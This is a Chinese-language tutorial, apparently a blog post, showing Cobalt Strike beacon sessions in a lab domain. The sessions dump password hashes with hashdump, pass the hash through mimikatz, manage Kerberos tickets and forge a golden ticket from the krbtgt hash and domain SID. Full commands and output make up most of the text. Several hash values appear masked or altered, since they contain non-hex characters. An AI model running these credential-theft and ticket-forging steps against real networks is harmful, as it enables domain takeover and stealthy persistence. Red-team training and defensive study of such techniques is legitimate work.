0x00 前言
继续上一节密码哈希的部分,在上一节中讲到了使用密码生成用户的令牌,从而取得系统的信任,这一节将介绍使用密码的哈希值来取得系统的信任。
0x01 密码哈希
首先使用 hashdump
获取用户的密码哈希值,这里的 beacon 会话为 SYSTEM 权限。
beacon> hashdump
[*] Tasked beacon to dump hashes
[+] host called home, sent: 82501 bytes
[+] received password hashes:
Administrator:500:aca3b435b5z404eeaad3f435b51404he:12cb161bvca930994x00cbc0aczf06d1:::
Daniel:1000:aca3b435b5z404eeaad3f435b51404he:12cb161bvca930994x00cbc0aczf06d1:::
Guest:501:aca3b435b5z404eeaad3f435b51404he:31d6cfe0d16ae931b73c59d7e0c089c0:::
TeamsSix:1002:aca3b435b5z404eeaad3f435b51404he:12cb161bvca930994x00cbc0aczf06d1:::
使用 pth
获取信任
beacon> pth TEAMSSIX\Administrator 12cb161bvca930994x00cbc0aczf06d1
[+] host called home, sent: 23 bytes
[*] Tasked beacon to run mimikatz's sekurlsa::pth /user:Administrator /domain:TEAMSSIX /ntlm:12cb161bvca930994x00cbc0aczf06d1 /run:"%COMSPEC% /c echo ade660d8dce > \\.\pipe\8d3e4c" command
[+] host called home, sent: 750600 bytes
[+] host called home, sent: 71 bytes
[+] Impersonated NT AUTHORITY\SYSTEM
[+] received output:
user : Administrator
domain : TEAMSSIX
program : C:\Windows\system32\cmd.exe /c echo ade660d8dce > \\.\pipe\8d3e4c
impers. : no
NTLM : 12cb161bvca930994x00cbc0aczf06d1
| PID 2992
| TID 5028
| LSA Process is now R/W
| LUID 0 ; 14812112 (00000000:00e203d0)
\_ msv1_0 - data copy @ 0000000001794E80 : OK !
\_ kerberos - data copy @ 000000000044A188
\_ aes256_hmac -> null
\_ aes128_hmac -> null
\_ rc4_hmac_nt OK
\_ rc4_hmac_old OK
\_ rc4_md4 OK
\_ rc4_hmac_nt_exp OK
\_ rc4_hmac_old_exp OK
\_ *Password replace @ 00000000017DA1E8 (16) -> null
beacon> powershell Invoke-Command -computer WinDC -ScriptBlock {whoami}
[*] Tasked beacon to run: Invoke-Command -computer WinDC -ScriptBlock {whoami}
[+] host called home, sent: 231 bytes
[+] received output:
teamssix\administrator
0x02 Kerberos 票据
关于 Kerberos 的介绍可以查看知乎上的一篇文章,比较形象生动,文章地址: https://www.zhihu.com/question/22177404
查看有哪些 Kerberos 票据
shell klist
除去 kerberos 票据
kerberos_ticket_purge
加载 kerberos 票据
kerberos_ticket_use [/path/to/file.ticket]
0x03 黄金票据
黄金票据 Golden Ticket
是 KRBTGT 帐户的 Kerberos 身份验证令牌,KRBTGT 帐户是一个特殊的隐藏帐户,用于加密 DC 的所有身份验证令牌。然后黄金票据可以使用哈希传递技术登录到任何帐户,从而使攻击者可以在网络内部不受注意地移动。
使用 mimikatz 伪造黄金票据需要:
1、目标的用户名及域名
2、域的 SID 值
域的 SID 值即安全标识符 Security Identifiers
,使用 whoami /user
命令可查看,注意不需要 SID 最后的一组数字。
beacon> shell whoami /user
[*] Tasked beacon to run: whoami /user
[+] host called home, sent: 43 bytes
[+] received output:
用户信息
----------------
用户名 SID
============= ============================================
teamssix\daniel S-1-5-21-5311978431-183514165-284342044-1000
因为不需要 SID 最后一组数字,所以这里要使用的 SID 也就是 S-1-5-21-5311978431-183514165-284342044
3、DC 中 KRBTGT 用户的 NTLM 哈希
DC 中 KRBTGT 用户的 NTLM 哈希可以通过 dcsync 或 hashdump 获得,下面的 hashdump 命令在域控制器的 SYSTEM 权限会话下运行。
beacon> hashdump
[*] Tasked beacon to dump hashes
[+] host called home, sent: 82501 bytes
[+] received password hashes:
Administrator:500:aca3b435b5z404eeaad3f435b51404he:12cb161bvca930994x00cbc0aczf06d1:::
Guest:501:aca3b435b5z404eeaad3f435b51404he:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aca3b435b5z404eeaad3f435b51404he:z1f8417a00az34scwb0dc15x66z43bg1:::
daniel:1108:aca3b435b5z404eeaad3f435b51404he:12cb161bvca930994x00cbc0aczf06d1:::
Cobalt Strike 在 Access -> Golden Ticket
中可以打开生成黄金票据的界面。
信息填完之后,选择 Build,需要注意 Domain 需要填写成 FQDN 格式,即完全合格域名 Fully Qualified Domain Name
,也就是类似于 teamssix.com
的格式。
此时可以通过 shell dir \\host\C$
检查自己是否有权限,也可以使用 PowerShell 运行 whoami 查看自己是谁。
beacon> powershell Invoke-Command -computer WinDC -ScriptBlock {whoami}
[*] Tasked beacon to run: Invoke-Command -computer WinDC -ScriptBlock {whoami}
[+] host called home, sent: 203 bytes
[+] received output:
teamssix\administrator
参考链接:
https://www.bilibili.com/video/BV16b411i7n5
https://www.varonis.com/blog/kerberos-how-to-stop-golden-tickets/
更多信息欢迎关注我的微信公众号:TeamsSix